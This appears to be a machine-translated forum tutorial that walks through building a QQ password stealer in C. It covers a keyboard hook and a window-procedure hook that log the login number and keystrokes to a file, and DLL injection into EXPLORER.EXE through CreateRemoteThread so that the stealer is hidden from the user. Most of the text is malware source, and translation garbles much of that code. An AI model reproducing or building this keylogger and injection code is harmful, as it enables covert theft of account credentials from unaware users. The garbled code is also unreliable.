Generally, the software for password stealing software obtains the password by monitoring the keyboard. This operation is convenient, but there are also some problems. The password is sometimes not very accurate, some people do not enter the password from the past to the next, of course, there are also a few such people, steal the password, of course, to get the password of those who are careless! You can use the installation hook to monitor the QQ login interface by obtaining the password. You must first find the handle of the login window before installation. After the hook is installed, record the keyboard, when you press ENTER or click Login, you can start to process the password! I want to explain the entire process in four parts:
(1) Find the QQ login interface.
(2) install hooks
(3) Explanation of the hook function.
(4) process the password.
The following sections use C language. In this article, we assume that you will program c/SDK. If you encounter related conceptual problems, you can check msdn or go to BBS to ask!
Part 1: (1) Find the QQ login page
After the software runs, the installation timer is used to find the QQ login interface in the system every second. In this way, as long as the user opens the QQ login interface, the user will be caught by the handle. See the following code:
# Define id_mytimer 555
Settimer (hdlg, id_mytimer, 1000, null );
After timer is installed, the following message is used to process the wm_timer message of the main program. Any undefined variable may be a global variable.
// Process wm_timer code
If (! Iswindow (g_hqqlogin) // checks whether g_hqqlogin is a valid window handle.
{
Hwnd hlogin = NULL;
G_hqqlogin = NULL;
Setqqhook (null); // If the parameter is null, the hook is uninstalled, and the parameter is the installation handle.
Do
{
// Use findwindowex to find the QQ login window. For specific parameter meanings, see msdn
G_hqqlogin = find1_wex (null, g_hqqlogin, "#32770", null); // the classes in the dialog box are #32770
// Find the class name #32770, and then find a button with "Logon QQ" in its form
// This sentence is critical. If you do not enter "log on to QQ" in the QQ login window, obtaining the password will fail!
Hlogin = finddomainwex (g_hqqlogin, null, "button", "log on to QQ ");
}
While (g_hqqlogin! = NULL & hlogin = NULL); // wait until the specified window is found, that is, the QQ login window.
If (g_hqqlogin! = NULL)
{
Setqqhook (g_hqqlogin); // install hook. This function is described in the second part of the DLL file.
}
}
The above is the process of finding the handle of the QQ login window. The code shows the method I used: find a dialog box with a button titled "log on to QQ" in its subform (this sentence is a bit harsh. If you cannot understand this sentence, you don't need to read it below :() I first wanted to use findwindow (null, "QQ user login window") to search for it, however, I used spy ++ to check that the title of the QQ login window is not "QQ user login window", but "garbled", which contains special characters such as the Enter key, so I used find1_wex ().
Part 2: (2) install the hook
After finding the QQ login window, it is half done.
The following is the setqqhook () function used to install the hook in the DLL file. Why should I use the DLL (Dynamic Connection Library )? To "Hook" messages of other processes, you have to make the hook function in the DLL so that it can be mapped to its address space!
Bool winapi setqqhook (hwnd hqqlogin)
{
// Get the handle of the login box
Bool Bret = false;
If (hqqlogin! = NULL)
{
DWORD dwthreadid = getwindowthreadprocessid (hqqlogin, null); // What does this mean? View msdn
G_hnum = getdlgitem (hqqlogin, 138); // different versions of QQ are different here! Obtain the subwindow handle of the QQ number.
G_hpsw = getdlgitem (hqqlogin, 180); // different versions of QQ are different here! Obtain the subwindow handle of the QQ Password
If (g_hnum = NULL)
{
MessageBox (null, "cried, no number handle! "," Depressing ", 0 );
Return false;
}
If (g_hpsw = NULL)
{
MessageBox (null, "cried, no password handle! "," Depressing ", 0 );
Return false;
}
// Keyboard hook and hook for some message processing on the Interface
G_hproc = setwindowshookex (wh_callwndproc, CALLWNDPROC, g_hinstdll, dwthreadid );
G_hkey = setwindowshookex (wh_keyboard, keyboardproc, g_hinstdll, dwthreadid );
Bret = (g_hproc! = NULL) & (g_hkey! = NULL );
}
Else
{
// Uninstall the hook
Bret = unhookwindowshookex (g_hproc) & unhookwindowshookex (g_hkey );
G_hproc = NULL;
G_hkey = NULL;
G_hnum = NULL;
}
Return Bret;
}
The code for installing the hook is as simple as this. CALLWNDPROC and keyboardproc are two callback functions, which are the hook functions to be explained in the third part.
Part 3: (3) Explanation of the hook function
CALLWNDPROC, keyboardproc is the prototype and code of the two callback functions as follows:
// Monitor the "login" command message during the hook Process
Lresult callback CALLWNDPROC (INT ncode, wparam, lparam)
{
Cwpstruct * P = (cwpstruct *) lparam;
// Capture the "login" button
If (p-> message ==wm_command & P-> wparam = 16032)
// The following functions are described in section 4-"process password ".
// When the user clicks the login button, it indicates that the QQ number and the QQ password have been filled in. Of course, you can get the password.
Getpasswrod ();
Return callnexthookex (g_hproc, ncode, wparam, lparam );
}
// Monitors "login" hotkey messages during the keyboard hook Process
Lresult callback keyboardproc (INT ncode, wparam, lparam)
{
// Capture the hotkey message and record the keyboard-based process. PMSG is of the PMSG type and I is of the Global static type.
PMSG. wparam = wparam;
I ++;
If (wparam = vk_return) // you can use the keyboard press enter to log on. After you press enter, you can obtain the password.
Getpasswrod ();
Return callnexthookex (g_hkey, ncode, wparam, lparam );
}
After understanding the two hook functions, you can see how to process the password in the future. This is the fourth part of the following.
Part 4: (4) process the password
If you read this, I want to pause for a while. Let me help you remember the key variables mentioned above.
First: g_hnum, The subwindow handle of the QQ number
Second: The subwindow handle g_hpsw of the QQ password // This part is not used for the time being.
Third: Save the PMSG of the keyboard button
The preceding three changes appear in the second part and the third part, both the subwindow handle g_hpsw of the global shared variable QQ password, as you can see, I commented out the statement using g_hpsw in the following code, because the QQ password cannot be obtained in that way and the key message must be processed.
Void getpasswrod ()
{
// Declare variables and initialize
Handle F;
Tchar num [13];
Tchar psw [21];
Tchar total [50];
Int J;
Memset (Num, 0, sizeof (Num ));
Memset (total, 0, sizeof (total ));
Memset (psw, 0, sizeof (psw ));
DWORD dw;
// Obtain the content of the QQ number, and assume that some people's QQ number is recorded in the login box, And the QQ number is entered on the keyboard.
Getwindowtext (g_hnum, (lpstr) num, sizeof (Num ));
// Getwindowtext (g_hpsw, (lpstr) psw, sizeof (psw); // The password cannot be obtained because this is not used.
// Extract the keyboard record, which may be a password or a QQ number or a QQ password.
For (j = 0; j 20; j ++)
{
Psw [J] = (tchar) PMSG [J * 2]. wparam;
}
Psw [J + 1] = '/0 ';
// Write the QQ number and QQ password into the cdrive password.txt
F = createfile ("C: // password.txt ",
Generic_write,
File_pai_write,
Null,
Open_always,
File_attribute_normal,
Null );
Strcat (total, "Number ");
Strcat (total, num );
Strcat (total, "Password :");
Strcat (total, psw );
Writefile (F, & total, sizeof (total), & DW, null );
Closehandle (f );
}
The following two situations may occur at the bottom of the cdisk password.txt:
1) when the QQ number is not input, it is only used to paste or the computer has a previous record is: Number: 21728812 password: Test
2) When the QQ number is entered on the keyboard, and the computer does not have a QQ number record, it is: Number: 21728812 password: 21728812 Test
We can see that QQ is used as a password in 2nd cases, so the password must be replaced by the QQ number.
Note: The wparam parameter is handled directly in this way, and the obtained characters and passwords are all in uppercase. If the case sensitivity problem is not found, I will not proceed with it carefully. The function can be implemented, after all, I don't need to steal the password!
The above four sections have basically completed the password Acquisition Function introduction. All variables that are not introduced are global variables. unmentioned functions include getwindowthreadprocessid (), setwindowshookex (), unhookwindowshookex (), callnexthookex (), createfile (), and writefile () and so on are Windows API, detailed instructions for use please check msdn (http://www.msdn.com), I mentioned the "Hook", "Hook" is the same meaning, maybe some places I said hook function, the other part is about the hook function.
Note: there is a specific running file on it. Because the younger brother did not take into account more details, I just used the "ideal" situation to get the password, in addition, the password does not focus on subsequent password processing, and the password may be case-insensitive or cannot be obtained. This article is intended to tell some friends who are confused about this basic principle, hope to communicate with you!
I. Let's talk a few nonsense words:
I often hear that my friend QQ has been stolen. I always feel that this behavior is cool, not monitoring the QQ window, but recording the user's entered number and password, I think it's nothing remarkable.
For Windows core programming, I am still a cainiao. Some time ago, I took a rough look at "Windows system programming" (of course, focus on a careful look ), as c ++ is a little basic, it is easier to learn. But in the past two days, we have encountered various problems. Even a small problem is enough to make my cainiao depressed for a long time. At this point, when we finish the software, we will not only give ourselves a summary, but also share our experiences with cainiao like me.
II. Enter the topic:
We all know that this type of software is designed to work when users are unaware of it. They are not visible in the task manager, which means the process is hidden. The effects can be achieved by inserting the kernel, using remote thread Insertion Technology, embedding DLL threads, or mounting psapi, since it was a cainiao, I chose the simplest experiment.
First, let's talk about the idea: three processes A, B, C, and two DLL are required.
Initial process a is used to create a remote thread in process B. It is created successfully and exits immediately. It does not give the task manager any chance to capture it (you have no time to observe it ).
Process B, as the host of the remote thread, should be the processes that must be executed in the system, such as EXPLORER. EXE. The remote thread is used to monitor the target process.
Process C is the target process here, that is, QQ. EXE.
The first DLL (inspectqqlanddlg. dll) is the carrier of the remote thread.
The second DLL (myhook. dll) is the carrier of the global hook function.
Now we need to use process a to set inspectqqlanddlg. DLL maps to process B, starts the remote thread in the DLL, and then monitors the target process (qq. EXE) QQ login window, once found, immediately put myhook. DLL maps to the target process to monitor user input.
This also makes it clear that the overall architecture of the software design is implemented in the code below.
1. Create a remote thread. It is relatively simple to first use process snapshots to obtain the target process
Handle hsnapshot;
Hsnapshot = createconlhelp32snapshot (th32cs_snapprocess, 0 );
If (hsnapshot = invalid_handle_value)
{
Return 0;
}
String lpname = "EXPLORER. EXE"; // you can specify the name of the process to be monitored.
Processentry32 PE;
PE. dwsize = sizeof (processentry32 );
For (bool Fok = process32first (hsnapshot, & PE); Fok =
Process32next (hsnapshot, & PE ))
{
If (PE. szexefile = lpname)
{
// Obtain the handle of the host process (EXPLORER. EXE)
Handle hremoteprocess = OpenProcess (process_all_access,
False, PE. th32processid );
// Obtain the current path of the target DLL (the path can be set freely)
Char szinspectdllpath [128];
Getcurrentdirectory (128, szinspectdllpath );
Strcat (szinspectdllpath, "// debug // inspectqqlanddlg. dll ");
// Apply for a space for storing file names
Lpvoid pszinspectdllremote;
Int inspectdllnamelength = sizeof (szinspectdllpath) + 1;
Pszinspectdllremote = virtualallocex (hremoteprocess,
Null, inspectdllnamelength, mem_commit, page_readwrite );
// Write the DLL file name to the requested space
Writeprocessmemory (hremoteprocess, pszinspectdllremote,
(Lpvoid) szinspectdllpath, inspectdllnamelength, null );
// Obtain the function address of the Dynamic Link Library
Hmodule;
Hmodule = getmodulehandle ("kernel32.dll ");
Lpthread_start_routine fnstartaddr;
Fnstartaddr = (lpthread_start_routine) getprocaddress (hmodule,
"Loadlibrarya ");
// Create a remote thread
Handle hinspectremotethread = NULL; // stores remote thread handles
Hinspectremotethread = createremotethread (hremoteprocess, null, 0,
Fnstartaddr, pszinspectdllremote, 0, null );
If (hsnapshot! = NULL)
Closehandle (hsnapshot); // closes the process Snapshot
Closehandle (hremoteprocess );
Break;
}
}
2. At this time, inspectqqlanddlg. dll has been mapped to EXPLORER. EXE. At this time, in inspectqqlanddlg. DLL dllmain (do not write it as dllmain) receives the dll_process_attach message, but generally it does not execute too many functions in dllmain (learn from previous experiences, ), so it is easy to think of opening up a new thread.
Switch (fdwreason)
{
Case dll_process_attach:
{
// The following message indicates that the remote thread is successfully created.
MessageBox (0, "code injection success! "," NOTE ", mb_ OK );
Handle hnewthread = createthread (null, 0, threadforinspect, null, 0, 0 );
Break;
}
}
The goal to be achieved in the new thread is only a loop, which can be achieved by using the while () and bool (iscontinue.
The second task to be completed in this remote thread is to find the key control in the QQ Login Dialog Box.
There is a lot of information on the Internet, using findwindow and find1_wex, which is for previous versions. Here it is no longer valid. Now QQ has made some effort to use a random character for the window title.
Take the Login Dialog Box as an example. The dialog box class is "#32770". Maybe many cainiao friends will use findwindow ("QQ user login ", "#32770"); no results, Ah ~~
In fact, you can use window enumeration to figure out What QQ has done here.
Bool callback enumwindowproc (hwnd, lparam)
{
If (! Hwnd)
{
Return false;
}
Char szwindowname [128];
Zeromemory (szwindowname, 128 );
Getclassname (hwnd, szwindowclassname, 128); // obtain the class name
If (! Strcmp (szwindowclassname, "#32770 "))
{
_ Asm int 3
}
Return true;
}
Using the above program segment, press F5 in the VC debugger and observe szwindowname in watch at the same time, it is easy to find that the window name string consists of no more than 20 characters (observed multiple times), but the elements are only 0x13, 0x10, 0x32, each position in a string is one of three elements. However, in spy ++, the window name only looks like "". It seems like only a few spaces (remind me not to try to copy the content, but the effect is intolerable, haha)
In fact, the login window can be determined by many determining factors in the window, such as the window style and window ID, which can be easily obtained through spy ++ (SPY ++, good stuff). I will not talk about it any more. I will give the code of each key control directly.
# Define usernamecomboboxid 0x0000008a // user name Control ID
# Define passwordeditid 0x000000b4 // password control ID
# Define buttonid 0x00003ea0 // log on to the button control ID
# Define qqlanddlgministyle 0x94ca00c4 // The minimum style of the logon dialog box
# Define qqlanddlgshowstyle 0xb4ca00c4 // the style of the Login Dialog Box displayed on the desktop
Bool callback enumwindowproc (hwnd, lparam)
{
If (! Hwnd)
Return false;
Long style = getwindowlong (hwnd, gwl_style );
If (style = qqlanddlgministyle | style = qqlanddlgshowstyle)
{
Hqqland = hwnd;
Enumchildwindows (hqqland, enumchildwndproc, null );
Return false;
}
Return true;
}
Bool callback enumchildwndproc (hwnd, lparam)
{
If (! Hwnd)
Return false;
// Obtain the Control ID of the specified handle
Long id = getwindowlong (hwnd, gwl_id );
If (ID = usernamecomboboxid)
{
Husername = hwnd;
}
Else if (ID = passwordeditid)
{
Hpassword = hwnd;
}
Else if (ID = buttonid)
{
Hlandbutton = hwnd;
}
Return true;
}
Finally, we can get the handles of the three controls, namely, husername, hpassword, and hbutton, which are expected to be a long time .~ V ~
You can use
Sendmessage (husername, wm_gettext, 128, (lparam) szusername );
Obtain the username (QQ number), but cannot obtain the password.
You can download the * password and enter a few characters in the password box. the result may be a failure. I don't know what QQ has done, so I have the opportunity to study it. Since this cannot be achieved, cainiao can achieve the goal on its own.
Now the second function of the remote thread (obtain the handle of the key control) has been completed, and the next thing to do is to put myhook. DLL ing to QQ..
You only need to call the interface function of myhook. dll.
Sethook (hqqland, husername, hpassword, hlandbutton, true );
3. Myhook. dll module.
Export bool winapi sethook (hwnd hqqland,
Hwnd husername, hwnd hpassword, hwnd hlandbutton, bool isinstall)
{
If (isinstall)
{
Hqqlanddlg = hqqland;
Husernameedit = husername;
Hpasswordcombobox = hpassword;
Hbutton = hlandbutton;
DWORD dwqqlanddlgthreadid = getwindowthreadprocessid (hqqland, null );
Hhookdll = getmodulehandle ("myhook ");
Hkeyboard = setwindowshookex (wh_keyboard,
(Hookproc) keyboardproc, hhookdll, dwqqlanddlgthreadid );
Hwndproc = setwindowshookex (wh_callwndproc,
(Hookproc) CALLWNDPROC, hhookdll, dwqqlanddlgthreadid );
If (hkeyboard! = NULL & hwndproc! = NULL)
Return true;
}
Else
{
Unhookwindowshookex (hkeyboard );
Unhookwindowshookex (hwndproc );
Hhookdll = NULL;
Hkeyboard = NULL;
Hwndproc = NULL;
Zeromemory (szpassword, 128 );
Pszpasswordlen = 0;
}
Return false;
}
This program section is simple only by detecting input of remote threads to install and uninstall hook functions.
If you are not clear about the hook function, you can check the msdn or Win32 function set.
Here, two hooks are set for the thread in the QQ Login Dialog Box. One keyboard hook function records keyboard input and the other global message hook.
Lresult callback keyboardproc (INT ncode, wparam, lparam)
{
// Check whether the Enter key is pressed
If (wparam = vk_return & lparam> 0)
{
// Because the hook function only records the Password box, obtaining the number at the last time is accurate.
Sendmessage (husernameedit, wm_gettext, 128, (lparam) szusername );
// The intercepted numbers and passwords (szusername, szpassword) can be processed freely)
// Do not forget to restore the variable (szusername, szpassword)
}
If (lparam> 0 & wparam! = Vk_return)
{
Char keyname [10];
Zeromemory (keyname, 10 );
Getkeynametext (lparam, keyname, 10 );
If (strlen (keyname) = 1)
{
Strcat (szpassword, keyname );
}
}
Return callnexthookex (hkeyboard, ncode, wparam, lparam );
}
Some users also use the mouse to click the button to log on, which can be implemented by the following code:
Lresult callback CALLWNDPROC (INT ncode, wparam, lparam)
{
Cwpstruct * P = (cwpstruct *) lparam;
If (p-> message = wm_command & P-> hwnd = hbutton)
{// Likewise
Sendmessage (husernameedit, wm_gettext, 128, (lparam) szusername );
// Here you can add a statement to process the password
}
Return callnexthookex (hwndproc, ncode, wparam, lparam );
}
The Code provided above can implement the basic number and password record functions, but the processing of specific details (for example, the user presses the return key or other ), if you think about this, you can do it without any difficulty.